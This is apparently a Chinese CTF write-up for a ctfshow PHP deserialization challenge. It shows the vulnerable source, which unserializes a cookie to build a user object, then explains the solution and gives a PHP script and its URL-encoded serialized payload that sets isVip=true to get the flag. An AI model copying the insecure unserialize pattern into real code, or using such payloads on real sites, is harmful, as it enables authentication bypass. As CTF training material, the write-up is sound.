一、代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip; # 4.1 返回isVip的结果。
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p; # 3.1 只要username=u、password=p即可。
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ # 5.1 username不等于password,就可以输出flag
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ # 1. 判断username和password是否有值。
$user = unserialize($_COOKIE['user']); # 2. 反序列化cookie里的user
if($user->login($username,$password)){ # 3. 判断对象user里的login函数
if($user->checkVip()){ # 4. 判断对象user里的checkVip函数
$user->vipOneKeyGetFlag(); # 5. 判断对象user里的GetFlag函数
}
}else{
echo "no vip,no flag";
}
}
二、解题步骤
- 每一道题都是循序渐进的
- 这里多了一串
if($this->username!==$this->password)
,也就是说,username和password的值不可以相等。
- 需要注意的地方还有
$this->isVtip=true
。
三、payload
<?php
class ctfShowUser{
public $username='aaa';
public $password='bbb';
public $isVip=true;
}
$user = new ctfShowUser();
echo urlencode(serialize($user));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
![image](https://img2023.cnblogs.com/blog/2982544/202302/2982544-20230201144525757-1682186367.png)